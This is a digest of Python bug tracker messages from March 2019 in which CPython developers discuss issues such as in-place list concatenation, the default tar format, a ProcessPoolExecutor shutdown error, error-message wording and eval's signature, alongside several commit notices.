Date: Wed, 13 Mar 2019 16:16:24 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552493784.15.0.505345228501.issue36229@roundup.psfhosted.org>


Brandt Bucher <brandtbucher at gmail.com> added the comment:

> ...in a subsequent "+" operation...

Sorry, I meant "&|-" here.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:31:27 2019
From: report at bugs.python.org (Tim Peters)
Date: Wed, 13 Mar 2019 16:31:27 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552494687.49.0.640871396089.issue36229@roundup.psfhosted.org>


Tim Peters <tim at python.org> added the comment:

Brandt, it's quite possible I have no real idea what this patch is aimed at.  I didn't reverse-engineer the code, the title is extremely broad, and there are no Python examples I can find for what it _is_ aimed at.  If, e.g., it's impossible that this patch has any effect on what happens for

    Set1 = Set1 & Set2

then the concerns I raised may well be irrelevant.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:39:28 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 13 Mar 2019 16:39:28 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1552495168.07.0.0334882785461.issue36268@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Looks reasonable.

Do you know whether it is supported on OpenBSD and NetBSD? In other popular programming languages?

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:40:10 2019
From: report at bugs.python.org (Phillip M. Feldman)
Date: Wed, 13 Mar 2019 16:40:10 +0000
Subject: [issue36266] Which module could not be found?
In-Reply-To: <1552405335.67.0.560488913178.issue36266@roundup.psfhosted.org>
Message-ID: <CAB2ViTbT7_pTwtj7u_ccH9o2mCojcU8M+=nmdttjvzH8fVfO3A@mail.gmail.com>


Phillip M. Feldman <Phillip.M.Feldman at gmail.com> added the comment:

Hello Steve,

I'm buying only 50 percent of this.  The Python interpreter must know what
module it was trying to import, and can at least be able to report that.

Phillip

On Tue, Mar 12, 2019 at 8:42 AM Steve Dower <report at bugs.python.org> wrote:

>
> Steve Dower <steve.dower at python.org> added the comment:
>
> I agree. Unfortunately, the operating system does not provide this
> information.
>
> The best I can offer is to run Process Monitor [1] and watch its logs. It
> should show the paths it attempts to access.
>
> [1]: http://technet.microsoft.com/en-us/sysinternals/bb896645
>
> ----------
> resolution:  -> third party
> stage:  -> resolved
> status: open -> closed
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36266>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:50:49 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 13 Mar 2019 16:50:49 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552495849.54.0.0567255150853.issue36229@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

It could aimed at list1 + list2 + list3. Or foo() + list2, where foo() returns a new list. Or other examples when the left operand is a new object.

But it is not correct to say that it is a problem that currently these operations has quadratic complexity. They have the complexity O(N^2) where N is the number of additions. Unless you have expressions with many thousands of additions, this is not a trouble (actually you can get a crash in the attempt to compile such expression in CPython).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:55:11 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 13 Mar 2019 16:55:11 +0000
Subject: [issue36262] Coverity scan: Python/dtoa.c resource leak
In-Reply-To: <1552312407.35.0.685640329933.issue36262@roundup.psfhosted.org>
Message-ID: <1552496111.61.0.832699228572.issue36262@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 9776b0636ae39668d3ce1c006d4be01dad01bf9f by Victor Stinner in branch 'master':
bpo-36262: Fix _Py_dg_strtod() memory leak (goto undfl) (GH-12276)
https://github.com/python/cpython/commit/9776b0636ae39668d3ce1c006d4be01dad01bf9f


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36262>
_______________________________________

From report at bugs.python.org  Wed Mar 13 12:57:42 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Wed, 13 Mar 2019 16:57:42 +0000
Subject: [issue36229] Linear-time list, set, and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552496262.14.0.420788786889.issue36229@roundup.psfhosted.org>


Brandt Bucher <brandtbucher at gmail.com> added the comment:

I apologize - I should have been clearer about what this accomplishes. I'll use list addition as an example, but this works for any binary operation on these containers.

If the left operand has a refcount of exactly one, it will simply mutate in-place rather than making an unnecessary copy. The simplest example of this is with literals:

[0] + list1

This just modifies the literal [0] in-place rather than creating an unnecessary copy. However, the more common use case is adding named lists. Currently, when adding list1 + list2 + list3, two copies (with one reference each) are made:

- The intermediate result of list1 + list2.
- The sum of this intermediate result and list3.

Only the second of these is actually returned - the first is used once and thrown away. The effect of this patch is to only create *at most one* (instead of n-1) copy for any arbitrarily long list summation, as this intermediate result will just mutate in-place for lists 3-n.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 13:09:17 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 13 Mar 2019 17:09:17 +0000
Subject: [issue36252] update to Unicode 12
In-Reply-To: <1552174088.7.0.771249971447.issue36252@roundup.psfhosted.org>
Message-ID: <1552496957.45.0.798655352448.issue36252@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

> msg318935 is still true.

Thanks. I added it to my notes ;-)
https://pythondev.readthedocs.io/files.html#generated-files

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36252>
_______________________________________

From report at bugs.python.org  Wed Mar 13 13:09:31 2019
From: report at bugs.python.org (Nicholas Chammas)
Date: Wed, 13 Mar 2019 17:09:31 +0000
Subject: [issue34713] csvwriter.writerow()'s return type is undocumented
In-Reply-To: <1537204445.4.0.956365154283.issue34713@psf.upfronthosting.co.za>
Message-ID: <1552496971.27.0.592087258357.issue34713@roundup.psfhosted.org>


Nicholas Chammas <nicholas.chammas at gmail.com> added the comment:

Nope, go ahead.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue34713>
_______________________________________

From report at bugs.python.org  Wed Mar 13 13:13:16 2019
From: report at bugs.python.org (Brandt Bucher)
Date: Wed, 13 Mar 2019 17:13:16 +0000
Subject: [issue36229] Avoid unnecessary copies for list, set,
 and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552497196.17.0.81893541313.issue36229@roundup.psfhosted.org>


Change by Brandt Bucher <brandtbucher at gmail.com>:


----------
title: Linear-time list, set, and bytearray ops. -> Avoid unnecessary copies for list, set, and bytearray ops.

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 13:18:28 2019
From: report at bugs.python.org (STINNER Victor)
Date: Wed, 13 Mar 2019 17:18:28 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552497508.05.0.641275330048.issue31904@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:


New changeset 8b5bdda5b4c418c4a858f183763d0a497170977c by Victor Stinner (pxinwr) in branch 'master':
bpo-31904: Adapt the _signal module to VxWorks RTOS (GH-12304)
https://github.com/python/cpython/commit/8b5bdda5b4c418c4a858f183763d0a497170977c


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Wed Mar 13 13:36:22 2019
From: report at bugs.python.org (Bas Nijholt)
Date: Wed, 13 Mar 2019 17:36:22 +0000
Subject: [issue36281] OSError: handle is closed for ProcessPoolExecutor and
 run_in_executor
Message-ID: <1552498582.24.0.716871849164.issue36281@roundup.psfhosted.org>


New submission from Bas Nijholt <basnijholt at gmail.com>:

The following code in Python 3.7.1
```
import random
import concurrent.futures
import asyncio

executor = concurrent.futures.ProcessPoolExecutor()
ioloop = asyncio.get_event_loop()

async def func():
    result = await ioloop.run_in_executor(executor, random.random)
    executor.shutdown(wait=False)  # bug doesn't occur when `wait=True`

task = ioloop.create_task(func())
```


prints the following error:
```
Exception in thread QueueManagerThread:
Traceback (most recent call last):
  File "/opt/conda/lib/python3.7/threading.py", line 917, in _bootstrap_inner
    self.run()
  File "/opt/conda/lib/python3.7/threading.py", line 865, in run
    self._target(*self._args, **self._kwargs)
  File "/opt/conda/lib/python3.7/concurrent/futures/process.py", line 368, in _queue_management_worker
    thread_wakeup.clear()
  File "/opt/conda/lib/python3.7/concurrent/futures/process.py", line 92, in clear
    while self._reader.poll():
  File "/opt/conda/lib/python3.7/multiprocessing/connection.py", line 255, in poll
    self._check_closed()
  File "/opt/conda/lib/python3.7/multiprocessing/connection.py", line 136, in _check_closed
    raise OSError("handle is closed")
OSError: handle is closed
```

I think this is related to https://bugs.python.org/issue34073 and https://bugs.python.org/issue34075

This happens in the Adaptive package https://adaptive.readthedocs.io/en/latest/docs.html#examples and the related issue is https://github.com/python-adaptive/adaptive/issues/156

----------
components: asyncio
messages: 337868
nosy: asvetlov, basnijholt, yselivanov
priority: normal
severity: normal
status: open
title: OSError: handle is closed for ProcessPoolExecutor and run_in_executor
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36281>
_______________________________________

From report at bugs.python.org  Wed Mar 13 14:51:19 2019
From: report at bugs.python.org (Tim Peters)
Date: Wed, 13 Mar 2019 18:51:19 +0000
Subject: [issue36229] Avoid unnecessary copies for list, set,
 and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552503079.05.0.799624485797.issue36229@roundup.psfhosted.org>


Tim Peters <tim at python.org> added the comment:

Serhiy, if I understand this, it _could_ pay big with even just a few operations.  For example,

    [0] * 1000000 + [1] + [2] + [3]
    
As-is, we'll copy the million zeroes three times.  WIth the patch, more likely the original vector of a million zeroes would be extended in-place, three times with a single element each time.

But I don't know that people do that in real code.  It would be great to find real examples in real could that would benefit.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 15:01:26 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Wed, 13 Mar 2019 19:01:26 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552503686.67.0.757729648631.issue31904@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
nosy:  -terry.reedy

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Wed Mar 13 15:28:32 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Mar 2019 19:28:32 +0000
Subject: [issue36266] Which module could not be found?
In-Reply-To: <1552340612.47.0.515886786831.issue36266@roundup.psfhosted.org>
Message-ID: <1552505312.67.0.658905493083.issue36266@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

You mean like this:

>>> import _ssl
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
ImportError: DLL load failed: The specified module could not be found.

Should include "_ssl" somewhere in the message? That's easy enough, but it's never been what anyone else has meant when they've asked for this, so I assumed you wanted the more helpful message (where it tells you exactly which DLL is missing - libcrypto-1_1-x64.dll in this case - and *that's* the one we can't do).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Wed Mar 13 15:33:33 2019
From: report at bugs.python.org (C.A.M. Gerlach)
Date: Wed, 13 Mar 2019 19:33:33 +0000
Subject: [issue36268] Change default tar format to modern POSIX 2001 (pax) for
 better portability/interop, support and standards conformance
In-Reply-To: <1552356868.22.0.356957543994.issue36268@roundup.psfhosted.org>
Message-ID: <1552505613.42.0.1232295938.issue36268@roundup.psfhosted.org>


C.A.M. Gerlach <CAM.Gerlach at Gerlach.CAM> added the comment:

In general, since pax is a backwards-compatible superset of the standard, portable ustar unlike the vendor-specific GNU format that even GNU tar itself no longer recommends in favor of switching to pax by default, it is to my understanding essentially always the better choice. The only exception would be systems that support GNU tar but not POSIX 2001 and where the limitations of the old ustar must be bypassed, which as far I'm aware is basically just really old (>10-15 years) GNU/Linux.

NetBSD and OpenBSD both use bsdtar implementations, which as far as I could find means they support the POSIX 2001-standard pax format, and (unless they use libarchive which supports all three) likely *don't* support the current GNU format which is specific to GNU tar. Even if they don't, their ustar support means they can read pax archives as legacy ustar archives (as pax is backwards-compatible), while the same is not necessarily true of GNU tar archives. Therefore, pax is strictly a better choice than GNU or ustar.

Most other programming languages I could find did not have internal/standard library implementations, instead relying on the aforementioned libraries or varying third party packages:

* For C/C++, Libarchive and GNU tar are the modern two heavy hitters, and they both have supported it for a very long long. Modern version of old-style bsdtar should, but if not then they don't support GNU tar either. These are commonly used when needed with C/C++, or programmers implement their own bespoke solutions.
* Libtar (C) does not, but it hasn't been updated for 6 years (and has been in minimal maintenance mode for over 15) so I'm not sure its really relevant anymore. Virtually any platform will also have one of the previous.
* The major implementation for Java, Apache Commons Compress, added support for both pax and GNU in its 1.2 version, back in 2011 (8 years ago)
* R uses the system's tar executable (or bundled modern tar), so will have the same support as that (i.e. any remotely modern system should be compatible). Their documentation explicitly recommends against GNU tar in favor of pax or ustar instead for portability: https://stat.ethz.ch/R-manual/R-devel/library/utils/html/tar.html
* git-archive uses pax exclusively
* PHP supports ustar only, not pax or GNU; in that case pax is generally the more compatible of the two extended formats
* The node-tar library, the apparent standard for Javascript, support it
* The standard tar package for Go supports it
* What seems to be the major current implementation for C#, SharpZipLib, supports it
* Ruby has no apparent standard implementation; a few third-party libraries have a mix of support

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36268>
_______________________________________

From report at bugs.python.org  Wed Mar 13 16:00:50 2019
From: report at bugs.python.org (miss-islington)
Date: Wed, 13 Mar 2019 20:00:50 +0000
Subject: [issue36280] Add kind field to ast.Constant,
 to distinguish u"..." from "..." for type checkers
In-Reply-To: <1552450579.22.0.237848259994.issue36280@roundup.psfhosted.org>
Message-ID: <1552507250.68.0.921309283837.issue36280@roundup.psfhosted.org>


miss-islington <mariatta.wijaya+miss-islington at gmail.com> added the comment:


New changeset 10f8ce66884cd7fee2372b8dae08ca8132091574 by Miss Islington (bot) (Guido van Rossum) in branch 'master':
bpo-36280: Add Constant.kind field (GH-12295)
https://github.com/python/cpython/commit/10f8ce66884cd7fee2372b8dae08ca8132091574


----------
nosy: +miss-islington

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36280>
_______________________________________

From report at bugs.python.org  Wed Mar 13 16:01:54 2019
From: report at bugs.python.org (Guido van Rossum)
Date: Wed, 13 Mar 2019 20:01:54 +0000
Subject: [issue36280] Add kind field to ast.Constant,
 to distinguish u"..." from "..." for type checkers
In-Reply-To: <1552450579.22.0.237848259994.issue36280@roundup.psfhosted.org>
Message-ID: <1552507314.59.0.332651138696.issue36280@roundup.psfhosted.org>


Guido van Rossum <guido at python.org> added the comment:

Thanks for the review Serhiy!

----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36280>
_______________________________________

From report at bugs.python.org  Wed Mar 13 16:44:52 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 13 Mar 2019 20:44:52 +0000
Subject: [issue36282] Not accurate error message for exact number of
 positional arguments
Message-ID: <1552509892.53.0.404929677362.issue36282@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Due to minor error, the error message for too many positional arguments is not accurate if the function uses Argument Clinic.

For example:

>>> int.from_bytes(b'a', 'little', False)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: from_bytes() takes at most 2 positional arguments (3 given)

This is correct, but not accurate, because from_bytes() takes *exactly* 2 positional arguments.

----------
components: Interpreter Core
messages: 337874
nosy: serhiy.storchaka
priority: normal
severity: normal
status: open
title: Not accurate error message for exact number of positional arguments
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36282>
_______________________________________

From report at bugs.python.org  Wed Mar 13 16:48:44 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 13 Mar 2019 20:48:44 +0000
Subject: [issue36282] Not accurate error message for exact number of
 positional arguments
In-Reply-To: <1552509892.53.0.404929677362.issue36282@roundup.psfhosted.org>
Message-ID: <1552510124.82.0.988505114002.issue36282@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
keywords: +patch
pull_requests: +12285
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36282>
_______________________________________

From report at bugs.python.org  Wed Mar 13 17:00:20 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 13 Mar 2019 21:00:20 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
In-Reply-To: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>
Message-ID: <1552510820.42.0.584281512381.issue36254@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset d53fe5f407ff4b529628b01a1bcbf21a6aad5c3a by Serhiy Storchaka in branch 'master':
bpo-36254: Fix invalid uses of %d in format strings in C. (GH-12264)
https://github.com/python/cpython/commit/d53fe5f407ff4b529628b01a1bcbf21a6aad5c3a


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Wed Mar 13 17:03:25 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Wed, 13 Mar 2019 21:03:25 +0000
Subject: [issue36282] Not accurate error message for exact number of
 positional arguments
In-Reply-To: <1552509892.53.0.404929677362.issue36282@roundup.psfhosted.org>
Message-ID: <1552511005.3.0.211991745374.issue36282@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset f2f55e7f03d332fd43bc665a86d585a79c3b3ed4 by Serhiy Storchaka in branch 'master':
bpo-36282: Improved error message for too much positional arguments. (GH-12310)
https://github.com/python/cpython/commit/f2f55e7f03d332fd43bc665a86d585a79c3b3ed4


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36282>
_______________________________________

From report at bugs.python.org  Wed Mar 13 17:16:02 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Mar 2019 21:16:02 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1552511762.27.0.242557816952.issue36174@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12286

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Wed Mar 13 17:43:54 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Mar 2019 21:43:54 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1552513434.17.0.460939755733.issue36174@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset ce5c7a93d47e07327d19dfb47a967f1b18b7d6e8 by Steve Dower in branch '2.7':
bpo-36174: Update nuget authoring for new license field. (GH-12300)
https://github.com/python/cpython/commit/ce5c7a93d47e07327d19dfb47a967f1b18b7d6e8


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Wed Mar 13 18:00:52 2019
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 13 Mar 2019 22:00:52 +0000
Subject: [issue36276] Python urllib CRLF injection vulnerability
In-Reply-To: <1552440411.97.0.7095697352.issue36276@roundup.psfhosted.org>
Message-ID: <1552514452.55.0.162580166373.issue36276@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

And security issues should be reported according to https://www.python.org/news/security/ .

----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36276>
_______________________________________

From report at bugs.python.org  Wed Mar 13 18:02:08 2019
From: report at bugs.python.org (Brett Cannon)
Date: Wed, 13 Mar 2019 22:02:08 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552514528.51.0.83707505592.issue36272@roundup.psfhosted.org>


Brett Cannon <brett at python.org> added the comment:

Limiting the version scope to 3.6 until someone reproduces on 3.7 and/or 3.8.

----------
nosy: +brett.cannon
versions:  -Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Wed Mar 13 18:06:56 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 13 Mar 2019 22:06:56 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552514816.63.0.583816437167.issue36272@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
keywords: +patch
pull_requests: +12287
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Wed Mar 13 18:07:53 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Wed, 13 Mar 2019 22:07:53 +0000
Subject: [issue36272] Recursive logging crashes Interpreter in Python 3
In-Reply-To: <1552402023.14.0.591990270381.issue36272@roundup.psfhosted.org>
Message-ID: <1552514873.43.0.779875457542.issue36272@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Hi Brett, I confirm the test case breaks both Python3.7 and 3.8. I opened a PR to fix the problem.

----------
versions: +Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36272>
_______________________________________

From report at bugs.python.org  Wed Mar 13 18:17:14 2019
From: report at bugs.python.org (Lysandros Nikolaou)
Date: Wed, 13 Mar 2019 22:17:14 +0000
Subject: [issue21314] Document '/' in signatures
In-Reply-To: <1397988439.5.0.703056699862.issue21314@psf.upfronthosting.co.za>
Message-ID: <1552515434.24.0.765293871692.issue21314@roundup.psfhosted.org>


Lysandros Nikolaou <lisandrosnik at gmail.com> added the comment:

I agree with Nick, that pydoc should somehow be updated to mark positional-only parameters as such. I believe that the third approach proposed by Nick is the most sensible one, as it makes the life of new developers easier by explicitly listing all the positional-only parameters. I could open a new issue and work on a PR, if you all agree that that is the way to go.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue21314>
_______________________________________

From report at bugs.python.org  Wed Mar 13 18:18:51 2019
From: report at bugs.python.org (Steve Dower)
Date: Wed, 13 Mar 2019 22:18:51 +0000
Subject: [issue36174] Remove licenseUrl field from nuget packages
In-Reply-To: <1551665023.92.0.460080823908.issue36174@roundup.psfhosted.org>
Message-ID: <1552515531.63.0.407611294033.issue36174@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36174>
_______________________________________

From report at bugs.python.org  Wed Mar 13 18:57:54 2019
From: report at bugs.python.org (Armin Rigo)
Date: Wed, 13 Mar 2019 22:57:54 +0000
Subject: [issue36229] Avoid unnecessary copies for list, set,
 and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552517874.88.0.394484895272.issue36229@roundup.psfhosted.org>


Armin Rigo <arigo at users.sourceforge.net> added the comment:

This patch is based on the following reasoning: if 'a' is a list and the reference count of 'a' is equal to 1, then we can mutate in-place 'a' in a call to 'a->ob_type->tp_as_sequence->list_concat'.  Typically that is called from 'PyNumber_Add(a, b)'.  The patch is only correct for the case where PyNumber_Add() is called from Python/ceval.c.  It is clearly wrong if you consider calls to PyNumber_Add() from random C extension modules.  Some extension modules' authors would be very surprised if the following code starts giving nonsense:

    PyObject *a = PyList_New();
    PyObject *b = PyNumber_Add(a, some_other_list);
    /* here, OF COURSE a must still be an empty list and b != a */

By comparison, if you consider the hack that I'm guilty for doing long ago to improve string concatenation, you'll see that it is done entirely inside ceval.c, and not in stringobject.c or unicodeobject.c.

For this reason I consider the whole patch, as written now, as bogus.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:02:28 2019
From: report at bugs.python.org (Armin Rigo)
Date: Wed, 13 Mar 2019 23:02:28 +0000
Subject: [issue36229] Avoid unnecessary copies for list, set,
 and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552518148.93.0.538221826183.issue36229@roundup.psfhosted.org>


Armin Rigo <arigo at users.sourceforge.net> added the comment:

...or PySequence_Concat() instead of PyNumber_Add(); same reasoning.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:25:40 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 13 Mar 2019 23:25:40 +0000
Subject: [issue36229] Avoid unnecessary copies for list, set,
 and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552519540.39.0.414393262716.issue36229@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

Raymond said: "FWIW, the non-operator versions of these operations already support passing in multiple arguments and is the preferred way to do it."

True for sets with union/intersection/difference (and their inplace equivalents), but not for lists and bytearrays, which don't have an out-of-place version, and the in-place version, extend, only takes a single iterable argument.

Perhaps extend could be take multiple iterables as positional varargs, not just a single iterable, to make the multi-extend case work efficiently?

Not sure how often this actually comes up though; maybe I've just internalized good practices, but I only rarely find myself combining containers where the left-most operand is an unreferenced temporary, or combining many containers at once in a single line (I use itertools.chain wrapped in a constructor, or literals with the unpacking generalization for most of those cases).

----------
nosy: +josh.r

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:31:43 2019
From: report at bugs.python.org (Dan Snider)
Date: Wed, 13 Mar 2019 23:31:43 +0000
Subject: [issue36283] eval is needlessly limited
Message-ID: <1552519903.9.0.270264105873.issue36283@roundup.psfhosted.org>


New submission from Dan Snider <mr.assume.away at gmail.com>:

The footnote about why eval/exec cannot be used for arbitrary code has been (for the most part) incorrect for quite some time as the signature for PyEval_EvalCodeEx demonstrates:

PyObject* PyEval_EvalCodeEx(PyObject *co, PyObject *globals, PyObject *locals, PyObject *const *args, int argcount, PyObject *const *kws, int kwcount, PyObject *const *defs, int defcount, PyObject *kwdefs, PyObject *closure)

Making eval a wrapper for PyEval_EvalCodeEx instead of PyEval_EvalCode would be a backwards compatible change since new parameters come after the current 3. A hypothetical signature for the new signature would be something like:
    eval(src, globals: abc.Mapping, locals: abc.Mapping, args: tuple, kwargs: dict, defaults: tuple, kwdefaults: dict, closure: tuple). 

In that case, `src` could be unicode, bytes, frames, tracebacks, code objects, and even updated to support stuff like parser.STType or ast.Module/ast.Interactive/ast.Expresion objects. 

The only objection I can think of is the same as the reason it's currently documented that globals must be a dictionary and that is that the LOAD_NAME opcode (seemingly) arbitrarily requires frame.f_globals be a dict subtype (even though LOAD_GLOBAL doesn't).

On that point, I still don't understand why PyObject_GetItem doesn't have a PyDict_CheckExact test for a dictionary fast-path when tp_as_mapping is found non-null. That operation - a pointer comparison - takes a fraction of a nanosecond on a modern CPU making it essentially free compared to the rest of the logic in there... Furthermore, this addition would greatly simplify both core and abstract apis and enable the possibility of fixing several longstanding bugs caused by using PyDict_GetItem/PyDict_SetItem on a dict subtype. Actually, the better solution may be to add PyDict_Check in PyObject_Getitem and PyDict_CheckExact in PyDict_GetItem.

After writing all that out this seems more like an issue with  PyObject_GetItem and how there is zero consistency throughout the entirety the abstract/core api as to whether some arbitrary procedure will try to use the core dictionary api as a fast path or head straight for the abstract api.

----------
components: Interpreter Core
messages: 337885
nosy: bup
priority: normal
severity: normal
status: open
title: eval is needlessly limited
type: enhancement
versions: Python 3.8

_______________________________________
